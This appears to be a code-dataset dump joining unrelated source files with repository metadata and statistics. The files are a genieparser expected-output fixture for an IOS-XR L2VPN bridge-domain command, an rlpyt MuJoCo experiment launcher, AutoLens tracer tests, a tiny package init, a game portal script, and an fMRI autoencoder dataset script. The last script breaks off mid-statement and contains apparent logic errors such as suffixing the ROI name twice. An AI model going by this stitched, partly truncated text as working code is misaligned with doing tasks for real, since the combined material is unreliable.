src/genie/libs/parser/iosxr/tests/ShowL2vpnBridgeDomainDetail/cli/equal/golden2_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
468
2018-06-19T00:33:18.000Z
2022-03-31T23:23:35.000Z
src/genie/libs/parser/iosxr/tests/ShowL2vpnBridgeDomainDetail/cli/equal/golden2_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
309
2019-01-16T20:21:07.000Z
2022-03-30T12:56:41.000Z
expected_output = { 'bridge_group': { 'foo_group': { 'bridge_domain': { 'foo_bd': { 'state': 'up', 'id': 0, 'shg_id': 0, 'mode': 'VPWS', 'mtu': 1500, 'ac': { 'num_ac': 1, 'num_ac_up': 0, 'interfaces': { 'GigabitEthernet0/5/1/4': { 'state': 'admin down', 'type': 'Ethernet', 'mtu': 1500, 'xc_id': '1', 'interworking': 'none', 'statistics': { 'packet_totals': { 'receive': 0, 'send': 0, }, 'byte_totals': { 'receive': 0, 'send': 0, }, }, }, }, }, 'vfi': { 'num_vfi': 1, 'foo_vfi': { 'neighbor': { '10.4.1.1': { 'pw_id': { '1': { 'state': 'up ( established )', 'pw_class': 'not set', 'encapsulation': 'MPLS', 'protocol': 'LDP', 'pw_type': 'Ethernet', 'control_word': 'enabled', 'interworking': 'none', 'sequencing': 'not set', 'mpls': { 'label': { 'local': '16001', 'remote': '16001', }, 'group_id': { 'local': 'unassigned', 'remote': 'unknown', }, 'interface': { 'local': 'siva/vfi', 'remote': 'siva/vfi', }, 'mtu': { 'local': '1500', 'remote': '1500', }, 'control_word': { 'local': 'enabled', 'remote': 'enabled', }, 'pw_type': { 'local': 'Ethernet', 'remote': 'Ethernet', }, 'vccv_cv_type': { 'local': '0x2', 'remote': '0x2', 'local_type': ['LSP ping verification'], 'remote_type': ['LSP ping verification'], }, 'vccv_cc_type': { 'local': '0x3', 'remote': '0x3', 'local_type': ['control word', 'router alert label'], 'remote_type': ['control word', 'router alert label'], }, }, 'create_time': '25/06/2007 05:29:42 (2w0d ago)', 'last_time_status_changed': '27/06/2007 06:50:35 (1w5d ago)', }, '2': { 'state': 'up ( established )', 'pw_class': 'not set', 'encapsulation': 'MPLS', 'protocol': 'LDP', 'pw_type': 'Ethernet', 'control_word': 'enabled', 'interworking': 'none', 'sequencing': 'not set', 'mpls': { 'label': { 'local': '16002', 'remote': '16002', }, 'group_id': { 'local': 'unassigned', 'remote': 'unknown', }, 'monitor_interface': { 'local': 'siva/vfi', 'remote': 'siva/vfi', }, 'mtu': { 'local': '1500', 'remote': '1500', }, 'control_word': { 'local': 'enabled', 'remote': 'enabled', }, 'pw_type': { 'local': 'Ethernet', 'remote': 'Ethernet', }, 'vccv_cv_type': { 'local': '0x2', 'remote': '0x2', 'local_type': ['LSP ping verification'], 'remote_type': ['LSP ping verification'], }, 'vccv_cc_type': { 'local': '0x3', 'remote': '0x3', 'local_type': ['control word', 'router alert label'], 'remote_type': ['control word', 'router alert label'], }, }, 'create_time': '25/06/2007 05:29:42 (2w0d ago)', 'last_time_status_changed': '27/06/2007 06:50:35 (1w5d ago)', }, }, }, }, 'statistics': { 'drop': { 'illegal_vlan': 0, 'illegal_length': 0, }, }, }, }, 'pw': { 'num_pw': 2, 'num_pw_up': 2, }, }, }, }, }, }
59.75625
110
0.160339
327
9,561
4.513761
0.287462
0.059621
0.02981
0.062331
0.776423
0.750678
0.703252
0.703252
0.703252
0.703252
0
0.065179
0.760904
9,561
159
111
60.132075
0.58049
0
0
0.509434
0
0
0.165046
0.007321
0
0
0.00251
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
983c3c85d004e56fe2f50c2590bd5f8ae2012c71
5,805
py
Python
rlpyt/experiments/scripts/mujoco/pg/launch/launch_halfcheetahtransfer_all.py
DavidSlayback/rlpyt
445adbd3917842caae0cae0d06e4b2866c8f1258
[ "MIT" ]
null
null
null
rlpyt/experiments/scripts/mujoco/pg/launch/launch_halfcheetahtransfer_all.py
DavidSlayback/rlpyt
445adbd3917842caae0cae0d06e4b2866c8f1258
[ "MIT" ]
null
null
null
rlpyt/experiments/scripts/mujoco/pg/launch/launch_halfcheetahtransfer_all.py
DavidSlayback/rlpyt
445adbd3917842caae0cae0d06e4b2866c8f1258
[ "MIT" ]
null
null
null
import pathlib from rlpyt.utils.launching.affinity import encode_affinity from rlpyt.utils.launching.exp_launcher import run_experiments from rlpyt.utils.launching.variant import make_variants, VariantLevel affinity_code = encode_affinity( n_cpu_core=6, n_gpu=1, contexts_per_gpu=6, n_socket=1, alternating=True ) runs_per_setting = 6 # 6 runs # A2C path = pathlib.Path(__file__).resolve().parent.parent / 'train' / "mujoco_ff_a2c_gpu.py" script = path.as_posix() default_config_key = "a2c_1M_halfcheetahtransfer" experiment_title = "A2C_HalfCheetahDirectionalTransfer" variant_levels = list() lrs = [3e-4, 1e-3, 5e-3, 1e-2] values = list(zip(lrs)) dir_names = ["A2C_lr_{}".format(*v) for v in values] keys = [("algo", "learning_rate")] variant_levels.append(VariantLevel(keys, values, dir_names)) variants, log_dirs = make_variants(*variant_levels) run_experiments( script=script, affinity_code=affinity_code, experiment_title=experiment_title, runs_per_setting=runs_per_setting, variants=variants, log_dirs=log_dirs, common_args=(default_config_key,), ) # PPO # path = pathlib.Path(__file__).resolve().parent.parent / 'train' / "mujoco_ff_ppo_gpu.py" # script = path.as_posix() # default_config_key = "ppo_1M_halfcheetahtransfer" # experiment_title = "PPO_HalfCheetahDirectionalTransfer" # variant_levels = list() # lrs = [3e-5, 1e-4, 3e-4] # values = list(zip(lrs)) # dir_names = ["PPO_lr_{}".format(*v) for v in values] # keys = [("algo", "learning_rate")] # variant_levels.append(VariantLevel(keys, values, dir_names)) # variants, log_dirs = make_variants(*variant_levels) # run_experiments( # script=script, # affinity_code=affinity_code, # experiment_title=experiment_title, # runs_per_setting=runs_per_setting, # variants=variants, # log_dirs=log_dirs, # common_args=(default_config_key,), # ) # # PPOC # path = pathlib.Path(__file__).resolve().parent.parent / 'train' / "mujoco_ff_ppoc_gpu.py" # script = path.as_posix() # default_config_key = "ppoc_1M_halfcheetahtransfer" # experiment_title = "PPOC_HalfCheetahDirectionalTransfer" # variant_levels = list() # lrs = [3e-5, 1e-4, 3e-4] # delib=[0., 1e-1, 1.] # values = list(zip(delib)) # dir_names = ["PPOC_{}".format(*v) for v in values] # keys = [("algo", "delib_cost")] # variant_levels.append(VariantLevel(keys, values, dir_names)) # values = list(zip(lrs)) # keys = [("algo", "learning_rate")] # dir_names = ["lr_{}".format(*v) for v in values] # variant_levels.append(VariantLevel(keys, values, dir_names)) # variants, log_dirs = make_variants(*variant_levels) # run_experiments( # script=script, # affinity_code=affinity_code, # experiment_title=experiment_title, # runs_per_setting=runs_per_setting, # variants=variants, # log_dirs=log_dirs, # common_args=(default_config_key,), # ) # # # A2OC # path = pathlib.Path(__file__).resolve().parent.parent / 'train' / "mujoco_ff_a2oc_gpu.py" # script = path.as_posix() # default_config_key = "a2oc_1M_halfcheetahtransfer" # experiment_title = "A2OC_HalfCheetahDirectionalTransfer" # variant_levels = list() # lrs = [3e-5, 1e-4, 3e-4] # delib=[0., 1e-1, 1.] # values = list(zip(delib)) # dir_names = ["A2OC_{}".format(*v) for v in values] # keys = [("algo", "delib_cost")] # variant_levels.append(VariantLevel(keys, values, dir_names)) # values = list(zip(lrs)) # keys = [("algo", "learning_rate")] # dir_names = ["lr_{}".format(*v) for v in values] # variant_levels.append(VariantLevel(keys, values, dir_names)) # variants, log_dirs = make_variants(*variant_levels) # # run_experiments( # script=script, # affinity_code=affinity_code, # experiment_title=experiment_title, # runs_per_setting=runs_per_setting, # variants=variants, # log_dirs=log_dirs, # common_args=(default_config_key,), # ) # PPIOC path = pathlib.Path(__file__).resolve().parent.parent / 'train' / "mujoco_ff_ppoc_gpu.py" script = path.as_posix() default_config_key = "ppioc_1M_halfcheetahtransfer" experiment_title = "PPIOC_HalfCheetahDirectionalTransfer" variant_levels = list() # lrs = [3e-5, 1e-4, 3e-4] # delib=[0., 1e-1, 1.] lrs = [3e-4, 1e-3, 5e-3] delib=[0., 1e-1, 1.] values = list(zip(delib)) dir_names = ["PPIOC_{}".format(*v) for v in values] keys = [("algo", "delib_cost")] variant_levels.append(VariantLevel(keys, values, dir_names)) values = list(zip(lrs)) keys = [("algo", "learning_rate")] dir_names = ["lr_{}".format(*v) for v in values] variant_levels.append(VariantLevel(keys, values, dir_names)) variants, log_dirs = make_variants(*variant_levels) run_experiments( script=script, affinity_code=affinity_code, experiment_title=experiment_title, runs_per_setting=runs_per_setting, variants=variants, log_dirs=log_dirs, common_args=(default_config_key,), ) # # A2IOC # path = pathlib.Path(__file__).resolve().parent.parent / 'train' / "mujoco_ff_a2oc_gpu.py" # script = path.as_posix() # default_config_key = "a2ioc_1M_halfcheetahtransfer" # experiment_title = "A2OC_HalfCheetahDirectionalTransfer" # variant_levels = list() # lrs = [3e-5, 1e-4, 3e-4] # delib=[0., 1e-1, 1.] # values = list(zip(delib)) # dir_names = ["A2IOC_{}".format(*v) for v in values] # keys = [("algo", "delib_cost")] # variant_levels.append(VariantLevel(keys, values, dir_names)) # values = list(zip(lrs)) # keys = [("algo", "learning_rate")] # dir_names = ["lr_{}".format(*v) for v in values] # variant_levels.append(VariantLevel(keys, values, dir_names)) # variants, log_dirs = make_variants(*variant_levels) # # run_experiments( # script=script, # affinity_code=affinity_code, # experiment_title=experiment_title, # runs_per_setting=runs_per_setting, # variants=variants, # log_dirs=log_dirs, # common_args=(default_config_key,), # )
33.947368
91
0.718691
784
5,805
4.992347
0.109694
0.073071
0.0465
0.028104
0.868166
0.868166
0.843894
0.837762
0.837762
0.818344
0
0.018016
0.129888
5,805
171
92
33.947368
0.75688
0.614815
0
0.508772
0
0
0.11524
0.068203
0
0
0
0
0
1
0
false
0
0.070175
0
0.070175
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
985f2bbb566ea23be9d7448ecf00598970dac5a5
9,943
py
Python
test_autolens/lens/test_operate.py
Jammy2211/AutoLens
bc132a21d1a52248f08f198474e29f985e365d85
[ "MIT" ]
null
null
null
test_autolens/lens/test_operate.py
Jammy2211/AutoLens
bc132a21d1a52248f08f198474e29f985e365d85
[ "MIT" ]
10
2017-12-22T11:39:33.000Z
2018-01-30T09:13:16.000Z
test_autolens/lens/test_operate.py
Jammy2211/AutoLens
bc132a21d1a52248f08f198474e29f985e365d85
[ "MIT" ]
null
null
null
from astropy import cosmology as cosmo import numpy as np import pytest import os from os import path import shutil from skimage import measure import autolens as al test_path = path.join("{}".format(path.dirname(path.realpath(__file__))), "files") def test__operate_image__blurred_images_2d_via_psf_from__for_tracer_gives_list_of_planes( sub_grid_2d_7x7, blurring_grid_2d_7x7, psf_3x3 ): g0 = al.Galaxy( redshift=0.5, light_profile=al.lp.EllSersic(intensity=1.0), mass_profile=al.mp.SphIsothermal(einstein_radius=1.0), ) g1 = al.Galaxy(redshift=1.0, light_profile=al.lp.EllSersic(intensity=2.0)) plane_0 = al.Plane(redshift=0.5, galaxies=[g0]) plane_1 = al.Plane(redshift=1.0, galaxies=[g1]) blurred_image_0 = plane_0.blurred_image_2d_via_psf_from( grid=sub_grid_2d_7x7, psf=psf_3x3, blurring_grid=blurring_grid_2d_7x7 ) source_grid_2d_7x7 = plane_0.traced_grid_from(grid=sub_grid_2d_7x7) source_blurring_grid_2d_7x7 = plane_0.traced_grid_from(grid=blurring_grid_2d_7x7) blurred_image_1 = plane_1.blurred_image_2d_via_psf_from( grid=source_grid_2d_7x7, psf=psf_3x3, blurring_grid=source_blurring_grid_2d_7x7 ) tracer = al.Tracer(planes=[plane_0, plane_1], cosmology=al.cosmo.Planck15()) blurred_image = tracer.blurred_image_2d_via_psf_from( grid=sub_grid_2d_7x7, psf=psf_3x3, blurring_grid=blurring_grid_2d_7x7 ) assert blurred_image.native == pytest.approx( blurred_image_0.native + blurred_image_1.native, 1.0e-4 ) blurred_image_list = tracer.blurred_image_2d_list_via_psf_from( grid=sub_grid_2d_7x7, psf=psf_3x3, blurring_grid=blurring_grid_2d_7x7 ) assert (blurred_image_list[0].slim == blurred_image_0.slim).all() assert (blurred_image_list[1].slim == blurred_image_1.slim).all() assert (blurred_image_list[0].native == blurred_image_0.native).all() assert (blurred_image_list[1].native == blurred_image_1.native).all() def test__operate_image__blurred_images_2d_via_convolver_from__for_tracer_gives_list_of_planes( sub_grid_2d_7x7, blurring_grid_2d_7x7, convolver_7x7 ): g0 = al.Galaxy( redshift=0.5, light_profile=al.lp.EllSersic(intensity=1.0), mass_profile=al.mp.SphIsothermal(einstein_radius=1.0), ) g1 = al.Galaxy(redshift=1.0, light_profile=al.lp.EllSersic(intensity=2.0)) plane_0 = al.Plane(redshift=0.5, galaxies=[g0]) plane_1 = al.Plane(redshift=1.0, galaxies=[g1]) blurred_image_0 = plane_0.blurred_image_2d_via_convolver_from( grid=sub_grid_2d_7x7, convolver=convolver_7x7, blurring_grid=blurring_grid_2d_7x7, ) source_grid_2d_7x7 = plane_0.traced_grid_from(grid=sub_grid_2d_7x7) source_blurring_grid_2d_7x7 = plane_0.traced_grid_from(grid=blurring_grid_2d_7x7) blurred_image_1 = plane_1.blurred_image_2d_via_convolver_from( grid=source_grid_2d_7x7, convolver=convolver_7x7, blurring_grid=source_blurring_grid_2d_7x7, ) tracer = al.Tracer(planes=[plane_0, plane_1], cosmology=al.cosmo.Planck15()) blurred_image = tracer.blurred_image_2d_via_convolver_from( grid=sub_grid_2d_7x7, convolver=convolver_7x7, blurring_grid=blurring_grid_2d_7x7, ) assert blurred_image.native == pytest.approx( blurred_image_0.native + blurred_image_1.native, 1.0e-4 ) blurred_image_list = tracer.blurred_image_2d_list_via_convolver_from( grid=sub_grid_2d_7x7, convolver=convolver_7x7, blurring_grid=blurring_grid_2d_7x7, ) assert (blurred_image_list[0].slim == blurred_image_0.slim).all() assert (blurred_image_list[1].slim == blurred_image_1.slim).all() assert (blurred_image_list[0].native == blurred_image_0.native).all() assert (blurred_image_list[1].native == blurred_image_1.native).all() def test__operate_image__visibilities_of_planes_from_grid_and_transformer( sub_grid_2d_7x7, transformer_7x7_7 ): g0 = al.Galaxy(redshift=0.5, light_profile=al.lp.EllSersic(intensity=1.0)) g1 = al.Galaxy(redshift=1.0, light_profile=al.lp.EllSersic(intensity=2.0)) plane_0 = al.Plane(redshift=0.5, galaxies=[g0]) plane_1 = al.Plane(redshift=0.5, galaxies=[g1]) plane_2 = al.Plane(redshift=1.0, galaxies=[al.Galaxy(redshift=1.0)]) visibilities_0 = plane_0.visibilities_via_transformer_from( grid=sub_grid_2d_7x7, transformer=transformer_7x7_7 ) visibilities_1 = plane_1.visibilities_via_transformer_from( grid=sub_grid_2d_7x7, transformer=transformer_7x7_7 ) tracer = al.Tracer( planes=[plane_0, plane_1, plane_2], cosmology=al.cosmo.Planck15() ) visibilities = tracer.visibilities_list_via_transformer_from( grid=sub_grid_2d_7x7, transformer=transformer_7x7_7 ) assert (visibilities[0] == visibilities_0).all() assert (visibilities[1] == visibilities_1).all() def test__operate_image__galaxy_blurred_image_2d_dict_via_convolver_from( sub_grid_2d_7x7, blurring_grid_2d_7x7, convolver_7x7 ): g0 = al.Galaxy(redshift=0.5, light_profile=al.lp.EllSersic(intensity=1.0)) g1 = al.Galaxy( redshift=0.5, mass_profile=al.mp.SphIsothermal(einstein_radius=1.0), light_profile=al.lp.EllSersic(intensity=2.0), ) g2 = al.Galaxy(redshift=0.5, light_profile=al.lp.EllSersic(intensity=3.0)) g3 = al.Galaxy(redshift=1.0, light_profile=al.lp.EllSersic(intensity=5.0)) g0_blurred_image = g0.blurred_image_2d_via_convolver_from( grid=sub_grid_2d_7x7, convolver=convolver_7x7, blurring_grid=blurring_grid_2d_7x7, ) g1_blurred_image = g1.blurred_image_2d_via_convolver_from( grid=sub_grid_2d_7x7, convolver=convolver_7x7, blurring_grid=blurring_grid_2d_7x7, ) g2_blurred_image = g2.blurred_image_2d_via_convolver_from( grid=sub_grid_2d_7x7, convolver=convolver_7x7, blurring_grid=blurring_grid_2d_7x7, ) g1_deflections = g1.deflections_yx_2d_from(grid=sub_grid_2d_7x7) source_grid_2d_7x7 = sub_grid_2d_7x7 - g1_deflections g1_blurring_deflections = g1.deflections_yx_2d_from(grid=blurring_grid_2d_7x7) source_blurring_grid_2d_7x7 = blurring_grid_2d_7x7 - g1_blurring_deflections g3_blurred_image = g3.blurred_image_2d_via_convolver_from( grid=source_grid_2d_7x7, convolver=convolver_7x7, blurring_grid=source_blurring_grid_2d_7x7, ) tracer = al.Tracer.from_galaxies( galaxies=[g3, g1, g0, g2], cosmology=al.cosmo.Planck15() ) blurred_image_dict = tracer.galaxy_blurred_image_2d_dict_via_convolver_from( grid=sub_grid_2d_7x7, convolver=convolver_7x7, blurring_grid=blurring_grid_2d_7x7, ) assert (blurred_image_dict[g0].slim == g0_blurred_image.slim).all() assert (blurred_image_dict[g1].slim == g1_blurred_image.slim).all() assert (blurred_image_dict[g2].slim == g2_blurred_image.slim).all() assert (blurred_image_dict[g3].slim == g3_blurred_image.slim).all() def test__operate_image__galaxy_visibilities_dict_from_grid_and_transformer( sub_grid_2d_7x7, transformer_7x7_7 ): g0 = al.Galaxy(redshift=0.5, light_profile=al.lp.EllSersic(intensity=1.0)) g1 = al.Galaxy( redshift=0.5, mass_profile=al.mp.SphIsothermal(einstein_radius=1.0), light_profile=al.lp.EllSersic(intensity=2.0), ) g2 = al.Galaxy(redshift=0.5, light_profile=al.lp.EllSersic(intensity=3.0)) g3 = al.Galaxy(redshift=1.0, light_profile=al.lp.EllSersic(intensity=5.0)) g0_visibilities = g0.visibilities_via_transformer_from( grid=sub_grid_2d_7x7, transformer=transformer_7x7_7 ) g1_visibilities = g1.visibilities_via_transformer_from( grid=sub_grid_2d_7x7, transformer=transformer_7x7_7 ) g2_visibilities = g2.visibilities_via_transformer_from( grid=sub_grid_2d_7x7, transformer=transformer_7x7_7 ) g1_deflections = g1.deflections_yx_2d_from(grid=sub_grid_2d_7x7) source_grid_2d_7x7 = sub_grid_2d_7x7 - g1_deflections g3_visibilities = g3.visibilities_via_transformer_from( grid=source_grid_2d_7x7, transformer=transformer_7x7_7 ) tracer = al.Tracer.from_galaxies( galaxies=[g3, g1, g0, g2], cosmology=al.cosmo.Planck15() ) visibilities_dict = tracer.galaxy_visibilities_dict_via_transformer_from( grid=sub_grid_2d_7x7, transformer=transformer_7x7_7 ) assert (visibilities_dict[g0] == g0_visibilities).all() assert (visibilities_dict[g1] == g1_visibilities).all() assert (visibilities_dict[g2] == g2_visibilities).all() assert (visibilities_dict[g3] == g3_visibilities).all() def test__operate_lens__sums_individual_quantities(): grid = al.Grid2D.uniform(shape_native=(50, 50), pixel_scales=0.15) sis_0 = al.mp.SphIsothermal(centre=(0.0, 0.0), einstein_radius=0.2) sis_1 = al.mp.SphIsothermal(centre=(0.0, 0.0), einstein_radius=0.4) sis_2 = al.mp.SphIsothermal(centre=(0.0, 0.0), einstein_radius=0.6) sis_3 = al.mp.SphIsothermal(centre=(0.0, 0.0), einstein_radius=0.8) galaxy_0 = al.Galaxy(mass_profile_0=sis_0, mass_profile_1=sis_1, redshift=0.5) galaxy_1 = al.Galaxy(mass_profile_0=sis_2, mass_profile_1=sis_3, redshift=0.5) plane = al.Plane(galaxies=[galaxy_0, galaxy_1]) tracer = al.Tracer( planes=[plane, al.Plane(redshift=1.0, galaxies=None)], cosmology=al.cosmo.Planck15(), ) einstein_mass = tracer.einstein_mass_angular_from(grid=grid) assert einstein_mass == pytest.approx(np.pi * 2.0 ** 2.0, 1.0e-1)
36.288321
96
0.716182
1,456
9,943
4.471154
0.069368
0.054378
0.081567
0.051613
0.850077
0.814747
0.784332
0.774501
0.726882
0.726882
0
0.066494
0.183244
9,943
273
97
36.421245
0.735131
0
0
0.519802
0
0
0.000724
0
0
0
0
0
0.10396
1
0.029703
false
0
0.039604
0
0.069307
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
988a9045c76226bb033cec0c8776b56e09650e49
180
py
Python
Vortex/__init__.py
1upCommunity/Vortex
abd7d6de3f66ba91b9b6b1a8c338420d90832b08
[ "MIT" ]
null
null
null
Vortex/__init__.py
1upCommunity/Vortex
abd7d6de3f66ba91b9b6b1a8c338420d90832b08
[ "MIT" ]
null
null
null
Vortex/__init__.py
1upCommunity/Vortex
abd7d6de3f66ba91b9b6b1a8c338420d90832b08
[ "MIT" ]
null
null
null
from .dependency_list import * from .dependency_checker import * from .dependency_installer import * from .dependency_updater import * from .core import * from .rendering import *
25.714286
35
0.8
22
180
6.363636
0.409091
0.357143
0.428571
0
0
0
0
0
0
0
0
0
0.133333
180
6
36
30
0.897436
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
7f2e75db0a7b651e219a64ce6fe8dd0d2c606978
47
py
Python
scripts/portal/outpasttemple.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
54
2019-04-16T23:24:48.000Z
2021-12-18T11:41:50.000Z
scripts/portal/outpasttemple.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
3
2019-05-19T15:19:41.000Z
2020-04-27T16:29:16.000Z
scripts/portal/outpasttemple.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
49
2020-11-25T23:29:16.000Z
2022-03-26T16:20:24.000Z
# 272010000 sm.warp(272000600, 2) sm.dispose()
11.75
21
0.723404
7
47
4.857143
0.857143
0
0
0
0
0
0
0
0
0
0
0.452381
0.106383
47
3
22
15.666667
0.357143
0.191489
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
6
7f7604534b166624d71468a587fbed2bfc8d7050
15,377
py
Python
make_ds.py
paulsens/fmri_autoencoder
32e6e205d5306bd3c05aeb1cc0992d9edf06e8ce
[ "MIT" ]
null
null
null
make_ds.py
paulsens/fmri_autoencoder
32e6e205d5306bd3c05aeb1cc0992d9edf06e8ce
[ "MIT" ]
null
null
null
make_ds.py
paulsens/fmri_autoencoder
32e6e205d5306bd3c05aeb1cc0992d9edf06e8ce
[ "MIT" ]
null
null
null
import sys from Constants import * from temporal_helpers import * from keras.models import model_from_json from datetime import datetime import tensorflow as tf from random import randint import numpy as np from mvpa2.datasets import * from mvpa2.base.dataset import save ### THIS FILE SHOULD BE RUN WITH PYTHON2 INCLUDING TENSORFLOW-KERAS, PICKLE, AND NUMPY ### # with tf.device("/cpu:0"): args = len(sys.argv) arg_dict = {} global TIMESTEPS with tf.device("/cpu:0"): AEs_F = 3 arg_dict["subject"] = str(sys.argv[1]) arg_dict["ROI"] = str(sys.argv[2]) strategy = str(sys.argv[3]) arg_dict["strategy"] = strategy iteration = arg_dict["subject"] + "_" + arg_dict["ROI"] + "_strat" + str(strategy) # Use default values from Constants.py temporal_window1_choices = [6, 9] spatial_window1_choices = [16, 16] temporal_window2_choices = [9, 12] spatial_window2_choices = [16, 14] prim_filter_choices = [8, 16] sec_filter_choices = [4, 5, 6] pooling_cube_choices = [[1, 1, 2], [3, 2, 2]] hps = [ [6, 10, [2, 2, 2]], [6, 10, [3, 2, 2]], [6, 14, [2, 2, 2]], [6, 14, [3, 2, 2]], [9, 10, [2, 2, 2]], [9, 10, [3, 2, 2]], [9, 14, [2, 2, 2]], [9, 14, [3, 2, 2]] ] #which hyperparameter configuration are we using? arg_dict["temporal_window1"] = 6 arg_dict["spatial_window1"] = 16 arg_dict["num_primary_filters"] = 14 arg_dict["pooling_cube"] = [2, 2, 2] log_file = open(LOGS_PATH+"/"+str(iteration)+".txt","w") # ADD ANY OTHER HYPERPARAMETERS THAT WE WANT TO TRACK log_file.write("-------- HYPERPARAMETERS ---------\n\n") for key in arg_dict: log_file.write(str(key) + " : " + str(arg_dict[key]) + "\n") log_file.write("Z_T_Primary : " + str(ZERO_THRESHOLD_PRIMARY) + "\n") log_file.write("\n\n--------- Training Begins --------") #all unlabelled samples used to train autoencoder if strategy == 0: arg_dict["half"] = 0 TIMESTEPS = 1864 arg_dict["TIMESTEPS"] = TIMESTEPS arg_dict["start_step"] = 0 strat_samples, new_steps, strat_targets, strat_steps, labelled_steps = make_StratDS(arg_dict, log_file) arg_dict["strat_samples"] = strat_samples arg_dict["strat_steps"] = strat_steps # flat number of timesteps arg_dict["new_steps"] = new_steps # list of timesteps arg_dict["strat_targets"] = strat_targets arg_dict["labelled_steps"] = labelled_steps log_file.write("Training primary AE for " + "strategy 0... \n\n") best_loss = -1 best_ae = None ae_list = [] # 12 is arbitrary, we just want to account for failure/underperformance due to random initializations for j in range(0, 12): ae, window_samples = primary_ae(arg_dict, log_file, "primary") ae_list.append(ae) log_file.write("AE number " + str(j) + " ended with a training loss of " + str(current_loss[0]) + "\n") # current_loss is defined and updated within temporal_helpers.py # it's a global variable and is used in the LossCallback function. if (best_loss == -1) or (current_loss[0] < best_loss): best_loss = current_loss[0] best_ae = ae print("converting to json..\n") model_json = best_ae.to_json() with open(ROI_PATH + "/" + str(arg_dict["subject"]) + "/" + str(arg_dict["ROI"]) + "/" + "strat" + str( arg_dict["strategy"]) + "_primary_ae.json", "w") as json_file: json_file.write(model_json) # serialize weights to HDF5 best_ae.save_weights( ROI_PATH + "/" + str(arg_dict["subject"]) + "/" + str(arg_dict["ROI"]) + "/strat" + str( strategy) + "_primary_ae.h5") log_file.write("Saved model to disk") # load json and create model just to make sure it was saved correctly jsonpath = ROI_PATH + "/" + str(arg_dict["subject"]) + "/" + str(arg_dict["ROI"]) + "/strat" + str( strategy) + "_primary_ae.json" log_file.write("jsonpath is " + str(jsonpath)) json_file = open(jsonpath, 'r') loaded_model_json = json_file.read() loaded_model = model_from_json(loaded_model_json) # load weights into new model loaded_model.load_weights( ROI_PATH + "/" + str(arg_dict["subject"]) + "/" + str(arg_dict["ROI"]) + "/strat" + str( strategy) + "_primary_ae.h5") log_file.write("Loaded model from disk") # probably redundant TIMESTEPS = 932 # ############### left side convolution log_file.write("Performing primary convolution for left side... \n\n") arg_dict["ROI"] = arg_dict["ROI"] + "L" flat_pooled_L, left_count = primary_convolution(loaded_model, arg_dict, log_file, "primary", None, None, None) # # log_file.write("Saving first block... \n\n") arg_dict["ROI"] = arg_dict["ROI"] + "L" # save_block(arg_dict, flat_pooled_L, None, "primary", log_file, iteration) arg_dict["ROI"] = arg_dict["ROI"][:-1] log_file.write("first block left side saved") # filters = len(flat_pooled_L) left_features = len(flat_pooled_L[0][0]) log_file.write("left features is " + str(left_features) + "\n") # leftarray = np.zeros((TIMESTEPS, left_features * filters)) log_file.write("leftarray shape is " + str(leftarray.shape)) # for t in range(0, TIMESTEPS): for filter in range(0, filters): for feature in range(0, left_features): leftarray[t][left_features * filter + feature] = flat_pooled_L[filter][t][feature] # ################## right side convolution log_file.write("Performing primary convolution for right side, the arg_dict value is " + str( arg_dict["ROI"]) + "... \n\n") arg_dict["ROI"] = arg_dict["ROI"] + "R" flat_pooled_R, right_count = primary_convolution(loaded_model, arg_dict, log_file, "primary", None, None, None) log_file.write("Saving first block... \n\n") arg_dict["ROI"] = arg_dict["ROI"] + "R" save_block(arg_dict, flat_pooled_R, None, "primary", log_file, iteration) arg_dict["ROI"] = arg_dict["ROI"][:-1] log_file.write("first block left side saved") filters = len(flat_pooled_R) right_features = len(flat_pooled_R[0][0]) log_file.write("right features is " + str(right_features) + "\n") rightarray = np.zeros((TIMESTEPS, right_features * filters)) log_file.write("rightarray shape is " + str(rightarray.shape)) for t in range(0, TIMESTEPS): for filter in range(0, filters): for feature in range(0, right_features): rightarray[t][right_features * filter + feature] = flat_pooled_R[filter][t][feature] # # # ################# make datasets ds = load_subject(arg_dict["subject"], arg_dict["ROI"], None) starting_t = 0 ending_t = TIMESTEPS temp_targets = ds.targets[starting_t:ending_t] log_file.write("temp_targets has length " + str(len(temp_targets)) + "\n") temp_chunks = ds.chunks[starting_t:ending_t] log_file.write("temp_chunks has length " + str(len(temp_chunks)) + "\n") leftds = dataset_wizard(samples=leftarray, targets=temp_targets, chunks=temp_chunks) rightds = dataset_wizard(samples=rightarray, targets=temp_targets, chunks=temp_chunks) left_transformed = open( ROI_PATH + "/" + str(arg_dict["subject"]) + "/" + str(arg_dict["ROI"]) + "/" + "strat" + str( strategy) + "_transformed_lh.p", "wb") right_transformed = open( ROI_PATH + "/" + str(arg_dict["subject"]) + "/" + str(arg_dict["ROI"]) + "/strat" + str( strategy) + "_transformed_rh.p", "wb") pickle.dump(leftds, left_transformed) pickle.dump(rightds, right_transformed) left_transformed.close() right_transformed.close() log_file.write("saved transformed datasets at " + ROI_PATH + "/" + arg_dict["subject"] + "/" + arg_dict[ "ROI"] + "\n\n") #half-and-half non-circular strategy #half refers to runs 1-4 or 5-8, not which half of the brain else: half_dict = {1: "runs_1_through_4", 2: "runs_5_through_8"} arg_dict["half_dict"] = half_dict for 